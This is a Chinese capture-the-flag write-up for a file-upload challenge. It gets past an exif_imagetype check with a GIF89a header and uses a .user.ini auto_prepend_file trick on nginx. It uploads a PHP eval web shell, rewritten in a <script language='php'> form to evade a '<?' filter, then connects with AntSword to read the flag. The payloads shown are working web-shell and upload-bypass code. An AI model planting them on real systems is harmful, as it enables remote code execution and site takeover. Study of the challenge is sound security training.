0x00
打开web如下,可以看到这是一道上传的题
新建一个文件命名为3.php,进行上传,得到如下结果
发现被过滤了,进行模糊测试,发现php相关拓展名的都已被过滤掉,但是上传其他类型文件时显示不为jpg类型文件(如下),可以知道使用的是exif_imagetype函数{通过文件幻数(文件头)来判断文件类型}进行判断
通过谷歌的插件,发现该站点使用的是nginx
所以使用.htaccess绕过行不通,因为它是Apache的配置文件
这里我们采用.user.ini来绕过--》.user.ini
绕过exif_imagetype函数的检查,我们可以通过添加jpg文件的文件头(GIF89a)
创建文件.user.ini内容如下
GIF89a
auto_prepend_file=01.jpg
## auto_prepend_file将01.jpg文件的内容添加到当前目录下的php文件的开头
上传得到结果如下
我们继续创建01.jpg文件内容如下
GIF89a
<?php @eval($_POST['pass']);?>
上传得到结果如下,发现对内容也进行了过滤,过滤了<?
我们可以使用如下来绕过
GIF89a
<script language="php"> @eval($_POST['pass']);</script>
重新上传,得到结果
我们直接访问上传后地址的index.php,可以看到01.jpg中的内容已经被包含
使用蚁剑进行连接,连接成功
获取flag
0x01 总结
主要考察了如下几点:
- 1.exif_imagetype函数绕过
exif_imagetype函数通过检查文件幻数(文件头)来判断是不是jpg格式文件
- 2.
.user.ini
上传绕过的使用
参数文章:.user.ini
- 3.内容过滤
<?
绕过
<?php @eval($_POST['pass']); ?>
## 替换为如下
<script language="php">@eval($_POST['pass']);</script>